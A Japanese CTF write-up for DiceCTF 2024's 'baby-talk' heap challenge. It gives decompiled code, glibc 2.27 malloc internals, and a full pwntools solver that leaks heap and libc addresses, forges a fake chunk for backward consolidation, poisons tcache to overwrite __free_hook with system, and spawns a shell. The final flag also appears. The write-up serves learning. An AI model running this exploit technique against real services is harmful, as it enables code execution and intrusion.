DiceCTF 2024 writeup
競技後に他の型のライトアップなどを参考にしつつ解いてみたところ、学びが多かったので復習用にライトアップを書いてみます。
pwn/baby-talk
heap問でした。
dockerfileの記載から、問題バイナリはglibc-2.27でコンパイルされているので、__free_hookを上書きしてシェルを取ればよいというheapの入門的な問題だったと思います。
※解けなかったけど…
バイナリ関連
逆コンパイル
ソースコードは配布されていないので、Ghidraで逆コンパイルしてみます。
主要な部分は以下の通りです。
do_str
- do_str: 標準入力から値を受け取りheap領域に保持する。
void do_str(void)
{
uint uVar1;
ulong __size;
void *pvVar2;
uVar1 = get_empty();
if (uVar1 == 0xffffffff) {
puts("too many!");
}
else {
printf("size? ");
__size = get_num();
if (__size < 0x1001) {
pvVar2 = malloc(__size);
*(void **)(strs + (long)(int)uVar1 * 8) = pvVar2;
if (*(long *)(strs + (long)(int)uVar1 * 8) == 0) {
puts("no mem!");
}
else {
printf("str? ");
read(0,*(void **)(strs + (long)(int)uVar1 * 8),__size);
printf("stored at %d!\n",(ulong)uVar1);
}
}
else {
puts("too big!");
}
}
return;
}
do_tok
- do_tok: do_strで保持した値を選択し、strtok関数で切り出す
void do_tok(void)
{
char local_22;
undefined local_21;
char *local_20;
ulong local_18;
char *local_10;
printf("idx? ");
local_18 = get_num();
if (local_18 < 0x10) {
local_10 = *(char **)(strs + local_18 * 8);
if (local_10 == (char *)0x0) {
puts("empty!");
}
else {
printf("delim? ");
read(0,&local_22,2);
local_21 = 0;
local_20 = strtok(local_10,&local_22);
while (local_20 != (char *)0x0) {
puts(local_20);
local_20 = strtok((char *)0x0,&local_22);
}
}
}
else {
puts("too big!");
}
return;
}
do_del
- do_del: do_str関数で保持した領域を選択し、freeする
void do_del(void)
{
ulong uVar1;
printf("idx? ");
uVar1 = get_num();
if (uVar1 < 0x10) {
if (*(void **)(strs + uVar1 * 8) == (void *)0x0) {
puts("empty!");
}
else {
free(*(void **)(strs + uVar1 * 8));
*(undefined8 *)(strs + uVar1 * 8) = 0;
}
}
else {
puts("too big!");
}
return;
}
緩和機構
[*] '/chal/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
動作確認
$ ./chall
size? 20
str? this is test desu.
stored at 0!
1. str
2. tok
3. del
4. exit
> 2
idx? 0
delim?
this
is
test
desu.
1. str
2. tok
3. del
4. exit
> 3
idx? 0
1. str
2. tok
3. del
4. exit
解法
do_str関数では入力文字数に制限がないため、入力する文字数を調整することでdo_tok関数を使ってfreeした後のchunkのfd部分をリークできます。
今回の解法ではheapとlibcのアドレスが必要なのでリークしていきます。
heap leak
do_str2->do_del2と実行すると、次にdo_strを実行する際にサイズをそろえてあげると以前にfreeしたchunkが割り当てられます。
この際割り当てられるchunkにはfdが残っているので、1文字だけ入力することでfd部分の上書きを防ぎます。
その後do_tok関数でこのchunkを指定すればfd部分がリークされます。
do_str(0x20,b"A"*0x20)
do_str(0x20,b"B"*0x20)
do_del(0)
do_del(1)
do_str(0x20,b"C")
leak = do_tok(0,b"B")
heap_leak = u64(leak.ljust(8,b"\x00"))
heap_base = heap_leak & 0xfffffffffffff000
info("heapleak : %#x",heap_base)
do_del(0)
同じような手法でlibcリークもできます。
libcをリークするにはfreeしたchunkをunsorted binにリンクさせるようにすればよいです。
tcacheに入らないようなサイズを確保した後、freeします。
do_str(0x750,b"D")
do_str(0x750,b"E")
do_del(0)
do_str(0x750,b"F")
libc_leak = u64(do_tok(0, "").ljust(8, b'\x00')) - 0x3ebc46
info("libc_leak: %#x",libc_leak)
consolidate backward
consolidate backwardを使ってchunkを重複させ、tcacheのfdを上書きする方法を取ります。
consolidate backwardさせるまでの順序は以下の通りです。
- chunkA内にfake_chunkを格納する
- chunkBのprev_inuseを0に変更する
- chunkBのprev_sizeをchunkB - prev_size = fake_chunkのアドレスになるよう調整する
- chunkBをfreeする
leakさせた情報を使い、fake_chunkを仕込みます。
consolidate backwardさせるにはいくつかの条件を満たす必要があります。
glibc-2.27では以下の箇所に複数のバリデーションがあります。
glibc-2.27
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L4291
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L1404
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
disass __GI___libc_free
0x00007f270fe2ac7e <+878>: mov rax,QWORD PTR [r12-0x10] ; #define prev_size(p) ((p)->mchunk_prev_size) https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L1291
0x00007f270fe2ac83 <+883>: sub r13,rax ;
0x00007f270fe2ac86 <+886>: add r14,rax ; size += prevsize;
0x00007f270fe2ac89 <+889>: mov rsi,QWORD PTR [r13+0x8] ; #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
0x00007f270fe2ac8d <+893>: mov rax,rsi
0x00007f270fe2ac90 <+896>: and rax,0xfffffffffffffff8 ; #define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
0x00007f270fe2ac94 <+900>: cmp rax,QWORD PTR [r13+rax*1+0x0] ; ; if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
0x00007f270fe2ac99 <+905>: jne 0x7f270fe2b158 <__GI___libc_free+2120> ; malloc_printerr ("corrupted size vs. prev_size");
0x00007f270fe2ac9f <+911>: mov rax,QWORD PTR [r13+0x10] ; FD = P->fd;
0x00007f270fe2aca3 <+915>: mov rdx,QWORD PTR [r13+0x18] ; BK = P->bk;
0x00007f270fe2aca7 <+919>: cmp r13,QWORD PTR [rax+0x18] ; r13 != FD
0x00007f270fe2acab <+923>: jne 0x7f270fe2b133 <__GI___libc_free+2083>
0x00007f270fe2acb1 <+929>: cmp r13,QWORD PTR [rdx+0x10] ; r13 != BK
0x00007f270fe2acb5 <+933>: jne 0x7f270fe2b133 <__GI___libc_free+2083>
fake_chunkを作成するうえで着目すべきはmalloc.c内の以下の箇所です。
Pは統合させたいchunkのアドレス、つまりfake_chunkを格納するアドレスです。
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L1409
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
free関数実行中にエラーを起さないようにするには以下の条件を満たすようにfake_chunkのfd,bkを設定します。
FD->bk == P and BK->fd == P
また、[fake_chunk_addr + fake_chunk_size] == free_chunk_prev_size になるようにfree_chunkのprev_sizeとheap内の配置を調整します。
fake_chunk_addr = heap_base + 0x2c0
fake_chunk = flat(
0xf0,
fake_chunk_addr,fake_chunk_addr,
)
do_str(0x70,b"G"*8 + fake_chunk)
do_tok関数でchunk headerのsize部分の値が区切り文字になるようにdelimを指定すると、prev_inuseを変更できます。
以下の場合を検証してみます。
do_str(0x38,b"K"*0x38) # 目的のchunkより前に来るようにメモリ確保して文字を詰める
do_str(0x148, b"L" * 0x148) # chunk sizeが0x151になるようにメモリ確保
do_tok(0,chr(0x51)) # 前のchunkを指定し、0x51をdelimに指定
目論見通り、prev_inuseが変更されました。
次に、prev_sizeを変更します。0x38のchunkをfreeした後に再度確保してprev_sizeの部分に値を書き込めばよいです。
do_del(0)
do_str(0x38,b"H"*0x30 + p64(0xf0))
あとは、tcache binにリンクされないように適当なchunkを確保した後にfreeさせ、prev_inuseを上書きしたchunkをfreeします。
unsorted binにfake_chunkがリンクされ、fake_chunkのsizeにfreeしたchunkのsizeが足されていることを確認できます。
get shell
上記の手順でunsorted binにリンクしたchunkはfake_chunk+0x1f0分上位のchunkと重複しています。あとは以下の手順でfree_hookを上書きすることでshellを獲得できます。
do_del(1) # fake_chunk直下のchunkをfree
payload = flat(
b"N" * 0x68, 0x41,
libc.sym["__free_hook"]
)
do_str(0x1e8,payload) # fake_chunkを確保し、直下のfree_chunkのfdをfree_hookのアドレスに上書き
do_str(0x38,b"OOO") # 適当にmallocさせる
do_str(0x38,p64(libc.sym["system"])) # free_hookのアドレスにsystemを書き込み
do_str(0x28,b"/bin/sh\x00") # /bin/shを書き込んだchunkを用意
do_del(6) # ↑のchunkをfreeするとshellをget
solver.py
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
gdbscript = '''
set max-visualize-chunk-size 0x40
b *do_str+99
b *do_tok+163
b *do_del+110
continue
'''.format(**locals())
exe = "./chall"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context(terminal=['tmux', 'split-window', '-h'])
io = start()
def do_str(size, data):
io.sendlineafter("exit", "1")
io.sendlineafter("size? ", str(size).encode())
io.sendafter("str? ", data)
def do_tok(idx, delim):
io.sendlineafter("exit", "2")
io.sendlineafter("idx?", str(idx).encode())
io.sendlineafter("delim?", delim)
return io.recvuntil("1.")[1:-3]
def do_del(idx):
io.sendlineafter("exit", "3")
io.sendlineafter("idx? ", str(idx).encode())
# heap leak section
do_str(0x20,b"A"*0x20)
do_str(0x20,b"B"*0x20)
do_del(0)
do_del(1)
do_str(0x20,b"C")
leak = do_tok(0,b"B")
heap_leak = u64(leak.ljust(8,b"\x00"))
heap_base = heap_leak & 0xfffffffffffff000
info("heapleak : %#x",heap_base)
do_del(0)
# libc leak secion
do_str(0x750,b"D")
do_str(0x750,b"E")
do_del(0)
do_str(0x750,b"F")
libc_leak = u64(do_tok(0, "").ljust(8, b'\x00')) - 0x3ebc46
info("libc_leak: %#x",libc_leak)
libc.address = libc_leak
# consolidate backward
fake_chunk_addr = heap_base + 0x2c0
fake_chunk = flat(
0xf0,
fake_chunk_addr,fake_chunk_addr,
)
do_del(0)
do_del(1)
do_str(0x70,b"G"*8 + fake_chunk)
do_str(0x38, b"H")
do_str(0x28,b"J")
do_str(0x38,b"K"*0x38) # idx = 3
do_str(0x148, b"L" * 0xf8 + p64(0x51) + 0x48 * b"A")
do_tok(3,chr(0x51))
do_del(3)
do_str(0x38,b"H"*0x30 + p64(0xf0))
for i in range(7):
do_str(0xf8, "M")
for i in range(7, -1, -1):
do_del(5+i)
do_del(4)
do_del(1)
payload = flat(
b"N" * 0x68, 0x41,
libc.sym["__free_hook"]
)
do_str(0x1e8,payload)
do_str(0x38,b"OOO")
do_str(0x38,p64(libc.sym["system"]))
do_str(0x28,b"/bin/sh\x00")
do_del(6)
io.interactive()
#dice{tkjctf_lmeow_fee9c2ee3952d7b9479306ddd8e477ca}
感想
とても勉強になりました。
heapはあまり慣れていなく、手間取ってしまったのでこれからはしっかり対策したいですね…
TIPS
pwntools
gdb.attach(io,gdbscript=gdbscript)
solver内の任意の箇所に埋め込めばその処理のあとからgdbで動的解析できる。
heapだとガチャガチャやるので便利だった。
参考
Discussion